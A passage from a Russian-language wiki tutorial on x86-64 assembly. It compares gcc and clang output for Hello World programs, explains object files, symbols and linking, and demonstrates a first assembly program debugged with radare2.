 .LCOLDB1:&lt;br /&gt;
         .section        .text.startup,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
 .LHOTB1:&lt;br /&gt;
         .p2align 4,,15&lt;br /&gt;
         .globl  main&lt;br /&gt;
         .type   main, @function&lt;br /&gt;
 main:&lt;br /&gt;
         subq    $8, %rsp        # Если мы хотим вызывать функцию, вершина стека должна быть кратна 16 байт (требования 86_64 ABI). Регистр rsp как раз за это отвечает&lt;br /&gt;
         movl    $.LC0, %edi     # Помещаем адрес строки (адрес метки .LC0) в регистр edi&lt;br /&gt;
         call    puts            # Вызов функции puts которая принимает в edi указатель на строку &amp;quot;Hello, World!&amp;quot;&lt;br /&gt;
         xorl    %eax, %eax      # Обнуление регистра eax через xor ( eax = eax xor eax ) (то же самое, что и eax = 0) — значение, возвращаемое функцией main&lt;br /&gt;
         addq    $8, %rsp        # Сдвигаем стек на 8 байт назад (стек растет вверх, так что для этого надо к регистру прибавить 8)&lt;br /&gt;
         ret                     # Возврат (выход) из функции main&lt;br /&gt;
         .size   main, .-main&lt;br /&gt;
         .section        .text.unlikely&lt;br /&gt;
 .LCOLDE1:&lt;br /&gt;
         .section        .text.startup&lt;br /&gt;
 .LHOTE1:&lt;br /&gt;
         .ident  &amp;quot;GCC: (Ubuntu 5.3.0-3ubuntu1~14.04) 5.3.0 20151204&amp;quot;&lt;br /&gt;
         .section        .note.GNU-stack,&amp;quot;&amp;quot;,@progbits&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
clang:&lt;br /&gt;
         .text&lt;br /&gt;
         .file   &amp;quot;hello.c&amp;quot;&lt;br /&gt;
         .globl  main&lt;br /&gt;
         .align  16, 0x90&lt;br /&gt;
         .type   main,@function&lt;br /&gt;
 main:                                   # @main&lt;br /&gt;
 # BB#0:&lt;br /&gt;
         pushq   %rax           # Если мы хотим вызывать функцию, вершина стека должна быть кратна 16 байт (требования 86_64 ABI). Инструкция pushq тут «заталкивает» 64-битный регистр в стек, уменьшая при этом значение %rsp регистра(указатель на вершину стека) на 8 &lt;br /&gt;
         movl    $.L.str, %edi  # Помещаем адрес строки (адрес метки .L.str) в регистр edi&lt;br /&gt;
         callq   puts           # Вызов функции puts которая принимает в edi указатель на строку «Hello, World!»&lt;br /&gt;
         xorl    %eax, %eax     # Обнуление регистра eax через xor ( eax = eax xor eax ) (то же самое, что и eax = 0) — значение, возвращаемое функцией main&lt;br /&gt;
         popq    %rcx           # Сдвигаем стек на 8 байт назад через popq интструкцию&lt;br /&gt;
         retq                   # Возврат (выход) из функции main&lt;br /&gt;
 .Lfunc_end0:&lt;br /&gt;
         .size   main, .Lfunc_end0-main&lt;br /&gt;
 &lt;br /&gt;
         .type   .L.str,@object          # @.str&lt;br /&gt;
         .section        .rodata.str1.1,&amp;quot;aMS&amp;quot;,@progbits,1&lt;br /&gt;
 .L.str:                         # метка&lt;br /&gt;
         .asciz  &amp;quot;Hello, World!&amp;quot; # сама строка&lt;br /&gt;
         .size   .L.str, 14&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
         .ident  &amp;quot;clang version 3.8.0-svn262614-1~exp1 (branches/release_38)&amp;quot;&lt;br /&gt;
         .section        &amp;quot;.note.GNU-stack&amp;quot;,&amp;quot;&amp;quot;,@progbits&lt;br /&gt;
&lt;br /&gt;
Требования к выравниванию стека при вызове других функций (подпрограмм) описаны в документации http://www.x86-64.org/documentation_folder/abi.pdf.&lt;br /&gt;
&lt;br /&gt;
В частности, про выравнивание регистра rsp — указателя на вершину стека сказано в 3.2.2 The Stack Frame страница 16.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; The end of the input argument area shall be aligned on a 16 (32, if __m256 is passed on stack) byte boundary. In other words, the value (%rsp + 8) is always a multiple of 16 (32) when control is transferred to the function entry point.&lt;br /&gt;
&lt;br /&gt;
Тут основной момент заключается вот в этих двух строчках&lt;br /&gt;
         movl    $.LC0, %edi     # Помещаем адрес строки (адрес метки .LC0) в регистр edi&lt;br /&gt;
         callq   puts           # Вызов функции puts которая принимает в edi указатель на строку «Hello, World!»&lt;br /&gt;
Компиляторы clang и gcc по-разному обозвали метки, посредством которых мы ссылаемся на адрес строк, но в целом они сделали то же самое. Регистры это особые ячейки памяти с быстрым доступом. Инструкция &amp;lt;code&amp;gt;movl    $.LC0, %edi&amp;lt;/code&amp;gt; присваивает регистру &amp;lt;code&amp;gt;edi&amp;lt;/code&amp;gt; адрес, соответствующий метке &amp;lt;code&amp;gt;.LC0&amp;lt;/code&amp;gt;. Эта метка, как можно видеть, указывает в начало нашей строки &amp;lt;code&amp;gt;&amp;quot;Hello, World!&amp;quot;&amp;lt;/code&amp;gt;. Более подробно это (регистры и метки) будет разобрано в части, посвященной ассемблеру&lt;br /&gt;
&lt;br /&gt;
Рассмотрим теперь второй пример («&amp;quot;Hello, World!&amp;quot;+1»). Я не буду приводить полный ассемблерный выхлоп, а покажу лишь отличия между полученным ассемблерным выводом&lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello/0.2$ diff ../0.1/hello_gcc.s hello_gcc.s &lt;br /&gt;
 14c14&lt;br /&gt;
 &amp;lt; 	movl	$.LC0, %edi&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; 	movl	$.LC0+1, %edi&lt;br /&gt;
 user@localhost:~/learn/c/01_hello/puts_hello/0.2$ diff ../0.1/hello_clang.s hello_clang.s &lt;br /&gt;
 9c9&lt;br /&gt;
 &amp;lt; 	movl	$.L.str, %edi&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; 	movl	$.L.str+1, %edi&lt;br /&gt;
Отличие есть лишь в этой одной единственной строчке. А сама строка «Hello, World!» присутствует в полном объеме, т. е. компилятор не отбросил первую букву, а просто передал в функцию адрес этой строки, увеличенный на 1. И от этого первая буква не была выведена.&lt;br /&gt;
&lt;br /&gt;
Отметим, что наприме в данном случае &lt;br /&gt;
	movl	$.LC0+1, %edi&lt;br /&gt;
Получившийся исполняемый код не будет выполнять сложение адреса строки с единицей. Сама операция &amp;lt;code&amp;gt;.LC0+1, %edi&amp;lt;/code&amp;gt; будет произведена на этапе ассемблирования; готовая к «использованию» программа не будет на этапе исполнения прибавлять единицу к адресу метки, смещение относительно метки .LC0 на 1 будет высчитано на этапе перевода кода на ассемблере (с расширением &amp;lt;code&amp;gt;.s&amp;lt;/code&amp;gt;) в исполняемый файл.&lt;br /&gt;
&lt;br /&gt;
Третий же хелловорд несколько сложнее, и получившийся из него ассемблерный вывод я пожалуй приведу в полном объеме:&lt;br /&gt;
&lt;br /&gt;
gcc:&lt;br /&gt;
         .file   &amp;quot;hello.c&amp;quot;&lt;br /&gt;
         .section        .rodata&lt;br /&gt;
 .LC0:&lt;br /&gt;
         .string &amp;quot;Hello&amp;quot;&lt;br /&gt;
         .string &amp;quot; World!&amp;quot;&lt;br /&gt;
         .section        .text.unlikely,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
 .LCOLDB1:&lt;br /&gt;
         .section        .text.startup,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
 .LHOTB1:&lt;br /&gt;
         .p2align 4,,15&lt;br /&gt;
         .globl  main&lt;br /&gt;
         .type   main, @function&lt;br /&gt;
 main:&lt;br /&gt;
         subq    $8, %rsp&lt;br /&gt;
         movl    $.LC0, %edi    # - edi = str&lt;br /&gt;
         call    puts           # - puts(str);&lt;br /&gt;
         movl    $.LC0+1, %edi  # - edi = str + 1&lt;br /&gt;
         call    puts           # - puts(str+1);&lt;br /&gt;
         movl    $.LC0+5, %edi  # - edi = str + 5&lt;br /&gt;
         call    puts           # - puts(str+5);&lt;br /&gt;
         movl    $.LC0+6, %edi  # - edi = str + 6&lt;br /&gt;
         call    puts           # - puts(str+6);&lt;br /&gt;
         movl    $.LC0+7, %edi  # - edi = str + 7&lt;br /&gt;
         call    puts           # - puts(str+7);&lt;br /&gt;
         xorl    %eax, %eax     # - eax = eax xor eax (то же самое, что и eax = 0)&lt;br /&gt;
         addq    $8, %rsp&lt;br /&gt;
         ret&lt;br /&gt;
         .size   main, .-main&lt;br /&gt;
         .section        .text.unlikely&lt;br /&gt;
 .LCOLDE1:&lt;br /&gt;
         .section        .text.startup&lt;br /&gt;
 .LHOTE1:&lt;br /&gt;
         .ident  &amp;quot;GCC: (Ubuntu 5.3.0-3ubuntu1~14.04) 5.3.0 20151204&amp;quot;&lt;br /&gt;
         .section        .note.GNU-stack,&amp;quot;&amp;quot;,@progbits&lt;br /&gt;
&lt;br /&gt;
clang:&lt;br /&gt;
         .text&lt;br /&gt;
         .file   &amp;quot;hello.c&amp;quot;&lt;br /&gt;
         .globl  main&lt;br /&gt;
         .align  16, 0x90&lt;br /&gt;
         .type   main,@function&lt;br /&gt;
 main:                                   # @main&lt;br /&gt;
 # BB#0:&lt;br /&gt;
         pushq   %rax&lt;br /&gt;
         movl    $.L.str, %edi   # - edi = str&lt;br /&gt;
         callq   puts            # - puts(str);&lt;br /&gt;
         movl    $.L.str+1, %edi # - edi = str+1&lt;br /&gt;
         callq   puts            # - puts(str+1);&lt;br /&gt;
         movl    $10, %edi       # - edi = '\n'    !! тут компилятор clang решил сделать небольшую оптимизацию&lt;br /&gt;
         callq   putchar         # - putchar('\n') !! вызвать putchar чтобы вставить перевод строки, вместо puts  &lt;br /&gt;
         movl    $.L.str+6, %edi # - edi = str+6&lt;br /&gt;
         callq   puts            # - puts(str+6);&lt;br /&gt;
         movl    $.L.str+7, %edi # - edi = str+7&lt;br /&gt;
         callq   puts            # - puts(str+7);&lt;br /&gt;
         xorl    %eax, %eax      # - eax = eax xor eax (то же самое, что и eax = 0)&lt;br /&gt;
         popq    %rcx&lt;br /&gt;
         retq&lt;br /&gt;
 .Lfunc_end0:&lt;br /&gt;
         .size   main, .Lfunc_end0-main&lt;br /&gt;
 &lt;br /&gt;
         .type   .L.str,@object          # @.str&lt;br /&gt;
         .section        .rodata,&amp;quot;a&amp;quot;,@progbits&lt;br /&gt;
 .L.str:&lt;br /&gt;
         .asciz  &amp;quot;Hello\000 World!&amp;quot;&lt;br /&gt;
         .size   .L.str, 14&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
         .ident  &amp;quot;clang version 3.8.0-svn262614-1~exp1 (branches/release_38)&amp;quot;&lt;br /&gt;
         .section        &amp;quot;.note.GNU-stack&amp;quot;,&amp;quot;&amp;quot;,@progbits&lt;br /&gt;
&lt;br /&gt;
Компилятор gcc для записи нашей строки &amp;lt;code&amp;gt;&amp;quot;Hello\0 World!&amp;quot;&amp;lt;/code&amp;gt; задействовал две директивы &amp;lt;code&amp;gt;.string&amp;lt;/code&amp;gt;.&lt;br /&gt;
         .string &amp;quot;Hello&amp;quot;&lt;br /&gt;
         .string &amp;quot; World!&amp;quot;&lt;br /&gt;
В то время как clang ограричился одной директивой &amp;lt;code&amp;gt;.asciiz&amp;lt;/code&amp;gt;.&lt;br /&gt;
         .asciz  &amp;quot;Hello\000 World!&amp;quot;&lt;br /&gt;
Эти директивы не являются инструкциями процессора (такими как &amp;lt;code&amp;gt;movq&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;subq&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;callq&amp;lt;/code&amp;gt; и прочее). Это лишь указания транслятору ассемблера вставить в объектный файл определенные символы и/или последовательности байт. https://sourceware.org/binutils/docs/as/Pseudo-Ops.html — тут описаны соответствующие директивы.&lt;br /&gt;
&lt;br /&gt;
https://sourceware.org/binutils/docs/as/String.html — про директиву &amp;lt;code&amp;gt;.string&amp;lt;/code&amp;gt;.&lt;br /&gt;
https://sourceware.org/binutils/docs/as/Asciz.html — про директиву &amp;lt;code&amp;gt;.asciz&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Объектный файл (с расширение &amp;lt;code&amp;gt;.o&amp;lt;/code&amp;gt;) это файл с промежуточным представлением отдельного модуля программы, полученный в результате обработки исходного кода соотоветствующей программой. Объектный файл содержит в себе особым образом подготовленный код (часто называемый двоичным или бинарным), который может быть объединён с другими объектными файлами при помощи редактора связей (компоновщика, линкера) для получения готового исполнимого модуля, либо библиотеки. В качестве линкера мы будем использовать ld из комплекта binutils. Компилятор GCC сам не способен произвести перевод кода в объектный и исполняемый файл, он вызывает соответствующие утилиты &amp;lt;code&amp;gt;as&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;ld&amp;lt;/code&amp;gt; (и возможно некоторые другие) из набора GNU Binutils https://www.gnu.org/software/binutils/.&lt;br /&gt;
&lt;br /&gt;
Чтобы получить объектный файл из кода на ассемблере, выполним команду as (пока будем работать с самой первой версией хелловорда):&lt;br /&gt;
&lt;br /&gt;
 as hello_clang.s -o hello_clang.o&lt;br /&gt;
 as hello_gcc.s -o hello_gcc.o&lt;br /&gt;
&lt;br /&gt;
Получившиеся объектные файлы формата ELF (англ. Executable and Linkable Format — формат исполнимых и компонуемых файлов) — в данном случае не исполняемый, а компонуемый файл (linkable, линковка, компоновка — без разницы). Исполняемый файл hello получившийся при «полной» компиляции, тоже является ELF-ом. Утилита &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt; умеет «понимать» множество разных форматов. Посмотрим на то, что она скажет на наши объектные и исполняемые файлы.&lt;br /&gt;
 $ file hello_clang.o &lt;br /&gt;
 hello_clang.o: ELF 64-bit LSB  relocatable, x86-64, version 1 (SYSV), not stripped&lt;br /&gt;
 $ file hello_gcc.o &lt;br /&gt;
 hello_gcc.o: ELF 64-bit LSB  relocatable, x86-64, version 1 (SYSV), not stripped&lt;br /&gt;
 $ file hello&lt;br /&gt;
 hello: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=13996484d52cb2088e59ae5bea10867dcaf67479, not stripped&lt;br /&gt;
Обьектные файлы у нас relocatable т. е. перемешаемые. Это значит, что там содержатся особые секции &amp;lt;code&amp;gt;.rel.text&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;.rel.data&amp;lt;/code&amp;gt;, содержащие списки адресов, которые должны быть модифицированы, когда компоновщик объединит объектные файлы. Объектные файлы содержат в себе символы. Получить информацию о символах  можно с помощью комманды &amp;lt;code&amp;gt;nm&amp;lt;/code&amp;gt;. Посмотрим на символы из нашего объектного файла:&lt;br /&gt;
 $ nm -f sysv hello_gcc.o &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 Symbols from hello_gcc.o:&lt;br /&gt;
 &lt;br /&gt;
 Name                  Value           Class        Type         Size             Line  Section&lt;br /&gt;
 &lt;br /&gt;
 main                |0000000000000000|   T  |              FUNC|0000000000000015|     |.text.startup&lt;br /&gt;
 puts                |                |   U  |            NOTYPE|                |     |*UND*&lt;br /&gt;
эту же информацию можно получить утилитой readelf:&lt;br /&gt;
 $ readelf -Ws hello_gcc.o&lt;br /&gt;
 &lt;br /&gt;
 Symbol table '.symtab' contains 12 entries:&lt;br /&gt;
    Num:    Value          Size Type    Bind   Vis      Ndx Name&lt;br /&gt;
      0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &lt;br /&gt;
      1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS hello.c&lt;br /&gt;
      2: 0000000000000000     0 SECTION LOCAL  DEFAULT    1 &lt;br /&gt;
      3: 0000000000000000     0 SECTION LOCAL  DEFAULT    2 &lt;br /&gt;
      4: 0000000000000000     0 SECTION LOCAL  DEFAULT    3 &lt;br /&gt;
      5: 0000000000000000     0 SECTION LOCAL  DEFAULT    4 &lt;br /&gt;
      6: 0000000000000000     0 SECTION LOCAL  DEFAULT    5 &lt;br /&gt;
      7: 0000000000000000     0 SECTION LOCAL  DEFAULT    6 &lt;br /&gt;
      8: 0000000000000000     0 SECTION LOCAL  DEFAULT    9 &lt;br /&gt;
      9: 0000000000000000     0 SECTION LOCAL  DEFAULT    8 &lt;br /&gt;
     10: 0000000000000000    21 FUNC    GLOBAL DEFAULT    6 main&lt;br /&gt;
     11: 0000000000000000     0 NOTYPE  GLOBAL DEFAULT  UND puts&lt;br /&gt;
Нас тут пока интересуют &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;puts&amp;lt;/code&amp;gt;. Мы объявили функцию &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; и поэтому символ функции &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; упомянут в таблице &amp;lt;code&amp;gt;.symtab&amp;lt;/code&amp;gt;. И &amp;lt;code&amp;gt;Type&amp;lt;/code&amp;gt; указан как &amp;lt;code&amp;gt;FUNC&amp;lt;/code&amp;gt;. А функция &amp;lt;code&amp;gt;puts&amp;lt;/code&amp;gt; у нас объявлена не была, но у нас был объявлен прототип этой функции. Прототип функции был в &amp;lt;code&amp;gt;sdtlib.h&amp;lt;/code&amp;gt;, чтобы в этом убедиться, сделаем так:&lt;br /&gt;
 $ echo &amp;quot;#include &amp;lt;stdio.h&amp;gt;&amp;quot; | cpp | grep puts&lt;br /&gt;
 extern int fputs (const char *__restrict __s, FILE *__restrict __stream);&lt;br /&gt;
 extern int puts (const char *__s);&lt;br /&gt;
Т. е. в файл через директиву include на этапе препроцессирования было включено определение функции puts &amp;lt;code&amp;gt;extern int puts (const char *__s);&amp;lt;/code&amp;gt; тут используется спецификатор &amp;lt;code&amp;gt;extern&amp;lt;/code&amp;gt;, означающий что данный символ является внешним(слово extern так и переводится — «внешний»), самого «тела» функции не предоставлено. Спецификатором &amp;lt;code&amp;gt;extern&amp;lt;/code&amp;gt; мы говорим компилятору что соответствующая функция будет найдена во время компоновки(линковки), само «тело» функции будет подключено из объектных файлов, разделяемых библиотек или статических библиотек(расширение &amp;lt;code&amp;gt;.a&amp;lt;/code&amp;gt;). В коде на ассемблере, полученном от компилятора, никакой функции puts нет. В то же время, для функции main у присутствует само «тело» функции, т. е. что именно эта функция делает, если ее вызвать. Функция main на самом деле не является самой первым, которую программа будет выполнять; самым первым будет выполняться особый startup-код, который подключается при «обычной» комплияции, когда сам компилятор в неявном виде вызывает ld и состыковывает наш код с определенными объектными файлами и статическими библиотеками, в которых и присутствует этот startup-код.  Настоящей точкой входа (адреса, с которого программа начинает выполнятся) будет функция &amp;lt;code&amp;gt;_start&amp;lt;/code&amp;gt; (на ассемблере мы будем сразу писать с этой точки входа &amp;lt;code&amp;gt;_start&amp;lt;/code&amp;gt;, без всяких main). Реализация функции puts, которую использует наша программа, содержится во внешних файлах, которые «подключаются» к нашей программе в процессе линковки. Притом, исполняемый код соответствующей функции &amp;lt;code&amp;gt;puts&amp;lt;/code&amp;gt; может как.&amp;lt;sup&amp;gt;wut?&amp;lt;/sup&amp;gt; Упоминание символа &amp;lt;code&amp;gt;puts&amp;lt;/code&amp;gt; есть лишь при непосредственном вызове функции: &amp;lt;code&amp;gt;call    puts&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Функция &amp;lt;code&amp;gt;puts&amp;lt;/code&amp;gt; содержится в&lt;br /&gt;
  readelf -s /lib/x86_64-linux-gnu/libc.so.6 | less&lt;br /&gt;
  libc.a&lt;br /&gt;
&lt;br /&gt;
Динамическая библиотека (в данном случае имеет расширение &amp;lt;code&amp;gt;.so&amp;lt;/code&amp;gt;) — файл, содержащий машинный код. Загружается в память процесса загрузчиком программ операционной системы либо при создании процесса, либо по запросу уже работающего процесса, то есть динамически. В получившемся elf файле нашего хеловорда(при обычной динамической линковке, которая происходит по умолчанию) содержится отсылка к соответствующей разделяемой библитеке, которая требуется для запуска. Есть особый исполняемый файл &amp;lt;code&amp;gt;ld-linux.so.1&amp;lt;/code&amp;gt; или &amp;lt;code&amp;gt;ld-linux.so.2&amp;lt;/code&amp;gt;(в зависимости от версии glibc), который отображает эти динамические библиотеки в адресное пространство процесса при запуске исполняемого файла, и таким образом процесс может использовать соответствующие функции и данные, которые в этой динамической библиотеке объявлены. Кроме того, есть возможность статической сборки исполняемого файла, и тогда это все не требуется — всё необходимое будет включено непосредственно в сам исполняемый файл, и не будет необходимости что-либо подгружать. Статические библиотеки — файлы с расширением &amp;lt;code&amp;gt;.a&amp;lt;/code&amp;gt;, представляют из себя архивы, в которые включены объектные &amp;lt;code&amp;gt;.so&amp;lt;/code&amp;gt; файлы. Хотя туда можно включать любые файлы, но обычно этот формат архивов применяется для статических библотек, см. https://en.wikipedia.org/wiki/Ar_(Unix).&lt;br /&gt;
&lt;br /&gt;
Более подробный разбор, что такое статические и динамические библиотеки, разделяемые объекты (shared objects) и объектные файлы будет позже, пока что нам хватит и такого понимания. За дополнительной информацией можно обратиться к […].&lt;br /&gt;
{{Доработка&lt;br /&gt;
 |reason=todo overload — «Дать ссылки на внешние источники или еще лучше написать статью об этом отдельно. Хотя сейчас на данной стадии это слишком рано разбирать»&amp;amp;«ldd, objdump /lib/x86_64-linux-gnu/libc.so.6, _IO_puts …»}}&lt;br /&gt;
&lt;br /&gt;
===Знакомство с ассемблером и отладчиком===&lt;br /&gt;
&lt;br /&gt;
Преступим к знакомству с ассемблером. Первые наши программы на ассемблере не будут вообще выводить никакой текст, а будут просто изменять значения регистров. Создадим директорию &amp;lt;code&amp;gt;~/learn/asm/01_test/1/&amp;lt;/code&amp;gt; и разместим там файл &amp;lt;code&amp;gt;test1.s&amp;lt;/code&amp;gt; следующего содержания&lt;br /&gt;
&lt;br /&gt;
 	.section	.text,&amp;quot;ax&amp;quot;,@progbits&lt;br /&gt;
 	.p2align 4,,15&lt;br /&gt;
 	.globl	_start&lt;br /&gt;
 	.type	_start, @function&lt;br /&gt;
 _start:&lt;br /&gt;
 	movq	$1, %rax&lt;br /&gt;
 	movq	$2, %rbx&lt;br /&gt;
 	movq	$3, %rcx&lt;br /&gt;
 	movq	$4, %rdx&lt;br /&gt;
 	movq	$5, %rsi&lt;br /&gt;
 	movq	$6, %rdi&lt;br /&gt;
 	movq	$7, %rbp&lt;br /&gt;
 	movq	$8, %rsp&lt;br /&gt;
 	movq	$9, %r8&lt;br /&gt;
 	movq	$10, %r9&lt;br /&gt;
 	movq	$11, %r10&lt;br /&gt;
 	movq	$12, %r11&lt;br /&gt;
 	movq	$13, %r12&lt;br /&gt;
 	movq	$14, %r13&lt;br /&gt;
 	movq	$15, %r14&lt;br /&gt;
 	movq	$16, %r15&lt;br /&gt;
 	ud2&lt;br /&gt;
 	.size	_start, .-_start&lt;br /&gt;
Тут мы заполняем наши регистры общего назначения значениями от 1 до 16. Регистр &amp;lt;code&amp;gt;%rsp&amp;lt;/code&amp;gt; имеет особое назначение, и с ним так лучше не делать, но поскольку со стеком мы тут не работаем, это делать можно. Регистр &amp;lt;code&amp;gt;%rbp&amp;lt;/code&amp;gt; также имеет отношение к работе со стеком. Регистры &amp;lt;code&amp;gt;%rsi&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;%rdi&amp;lt;/code&amp;gt; тоже имеют особое назначение (инструкции movsb и подобные ей).&lt;br /&gt;
&amp;lt;code&amp;gt;ud2&amp;lt;/code&amp;gt; — это такая официально определенная (задокументированная) инструкция, вызывающая ошибку выполнения при попытке ее выполнить. Попытка ее выполнения приведет к ошибке, будет выдано сообщение &amp;lt;code&amp;gt;Illegal instruction (core dumped)&amp;lt;/code&amp;gt; и образуется файл с дампом памяти процессора (коредампом). В нем содержится информация о состоянии процесса в момент его аварийного завершения. Cм. https://ru.wikipedia.org/wiki/Дамп_памяти.&lt;br /&gt;
&lt;br /&gt;
Просто убедимся, что программа аварийно завершится и он получится при запуске&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ as test1.s -o test1.o&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ ld test1.o -o test1&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ ./test1 &lt;br /&gt;
 Illegal instruction (core dumped)&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ ls&lt;br /&gt;
 core  test1  test1.o  test1.s&lt;br /&gt;
если вы не получили файла core после запуска &amp;lt;code&amp;gt;./test1&amp;lt;/code&amp;gt;, вам вероятно надо сделать &amp;lt;code&amp;gt;ulimit -c unlimited&amp;lt;/code&amp;gt; и повторить запуск. Это отключит лимит на размеры коредампа. Именно эта инструкция &amp;lt;code&amp;gt;ud2&amp;lt;/code&amp;gt; вызывает соответствую ошибку и выпадение в кору. Пока что мы не будем ничего делать с этим коредампом. Для корректного завершения программы, надо вызвать соответствующий системный вызов, до этого мы доберемся несколько позже. Посмотрим на точку входа нашего исполняемого файла.&lt;br /&gt;
 user@localhost::~/learn/asm/01_test/1$ readelf -h test1&lt;br /&gt;
 ELF Header:&lt;br /&gt;
   Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
   Class:                             ELF64&lt;br /&gt;
   Data:                              2's complement, little endian&lt;br /&gt;
   Version:                           1 (current)&lt;br /&gt;
   OS/ABI:                            UNIX - System V&lt;br /&gt;
   ABI Version:                       0&lt;br /&gt;
   Type:                              EXEC (Executable file)&lt;br /&gt;
   Machine:                           Advanced Micro Devices X86-64&lt;br /&gt;
   Version:                           0x1&lt;br /&gt;
   Entry point address:               0x400080&lt;br /&gt;
   Start of program headers:          64 (bytes into file)&lt;br /&gt;
   Start of section headers:          280 (bytes into file)&lt;br /&gt;
   Flags:                             0x0&lt;br /&gt;
   Size of this header:               64 (bytes)&lt;br /&gt;
   Size of program headers:           56 (bytes)&lt;br /&gt;
   Number of program headers:         1&lt;br /&gt;
   Size of section headers:           64 (bytes)&lt;br /&gt;
   Number of section headers:         5&lt;br /&gt;
   Section header string table index: 2&lt;br /&gt;
Точка входа у нас по адресу в 0x400080&lt;br /&gt;
&lt;br /&gt;
А сейчас воспользуемся отладчиком, идущим с radare2 (желательно взять версию по-новее. http://rada.re/r/down.html для установки). Еще установите плагин keystone, &amp;lt;code&amp;gt;r2pm -i keystone&amp;lt;/code&amp;gt;, он нам очень пригодится. Советую также обратиться к https://www.gitbook.com/book/radare/radare2book/details. В данный момент нас интересует вот эта часть https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html.&lt;br /&gt;
&lt;br /&gt;
 user@localhost:~/learn/asm/01_test/1$ r2 -d ./test1&lt;br /&gt;
 Process with PID 8609 started...&lt;br /&gt;
 attach 8609 8609&lt;br /&gt;
 bin.baddr 0x00400000&lt;br /&gt;
 Assuming filepath ./test1&lt;br /&gt;
 Warning: Cannot initialize dynamic strings&lt;br /&gt;
 asm.bits 64&lt;br /&gt;
  -- THE ONLY WINNING MOVE IS NOT TO PLAY.&lt;br /&gt;
 [0x00400080]&amp;gt; pd 17&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48c7c0010000.  mov rax, 1                  ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
             0x00400087      48c7c3020000.  mov rbx, 2&lt;br /&gt;
             0x0040008e      48c7c1030000.  mov rcx, 3&lt;br /&gt;
             0x00400095      48c7c2040000.  mov rdx, 4&lt;br /&gt;
             0x0040009c      48c7c6050000.  mov rsi, 5&lt;br /&gt;
             0x004000a3      48c7c7060000.  mov rdi, 6&lt;br /&gt;
             0x004000aa      48c7c5070000.  mov rbp, 7&lt;br /&gt;
             0x004000b1      48c7c4080000.  mov rsp, 8&lt;br /&gt;
             0x004000b8      49c7c0090000.  mov r8, 9&lt;br /&gt;
             0x004000bf      49c7c10a0000.  mov r9, 0xa&lt;br /&gt;
             0x004000c6      49c7c20b0000.  mov r10, 0xb                ; 11&lt;br /&gt;
             0x004000cd      49c7c30c0000.  mov r11, 0xc                ; 12&lt;br /&gt;
             0x004000d4      49c7c40d0000.  mov r12, 0xd                ; 13&lt;br /&gt;
             0x004000db      49c7c50e0000.  mov r13, 0xe                ; 14&lt;br /&gt;
             0x004000e2      49c7c60f0000.  mov r14, 0xf                ; 15&lt;br /&gt;
             0x004000e9      49c7c7100000.  mov r15, 0x10               ; 16&lt;br /&gt;
             0x004000f0      0f0b           ud2&lt;br /&gt;
&amp;lt;code&amp;gt;pd 17&amp;lt;/code&amp;gt; дизассемблирует нам 17 инструкций. Можно посмотреть встроенную справку по &amp;lt;code&amp;gt;pd&amp;lt;/code&amp;gt; если ввести &amp;lt;code&amp;gt;pd?&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
radare2 по-умолчанию работает с intel-синтаксисом, а не AT&amp;amp;T на котором написан наш код. В интел синтаксисе отличается порядок операндов (источник — назначение), например &amp;lt;code&amp;gt;mov rax, 1&amp;lt;/code&amp;gt; в интел синтаксисе эквивалентен &amp;lt;code&amp;gt;movq $1, %rax&amp;lt;/code&amp;gt;. Есть и другие отличия. Мы пока переключим отображение на AT&amp;amp;T синтаксис т. к. код у нас написан в AT&amp;amp;T, к интел мы вернемся потом. Для начала убедимся, что у нас тут действительно синтаксис intel&lt;br /&gt;
 [0x00400080]&amp;gt; e asm.syntax&lt;br /&gt;
 intel&lt;br /&gt;
И изменим его&lt;br /&gt;
 [0x00400080]&amp;gt; e asm.syntax=att&lt;br /&gt;
 [0x00400080]&amp;gt; e asm.syntax&lt;br /&gt;
 att&lt;br /&gt;
После чего мы получим дизасм в at&amp;amp;t синтаксисе&lt;br /&gt;
 [0x00400080]&amp;gt; pd 17&lt;br /&gt;
             ;-- entry0:&lt;br /&gt;
             ;-- section..text:&lt;br /&gt;
             ;-- _start:&lt;br /&gt;
             ;-- rip:&lt;br /&gt;
             0x00400080      48c7c0010000.  movq $1, %rax               ; [1] va=0x00400080 pa=0x00000080 sz=114 vsz=114 rwx=--r-x .text&lt;br /&gt;
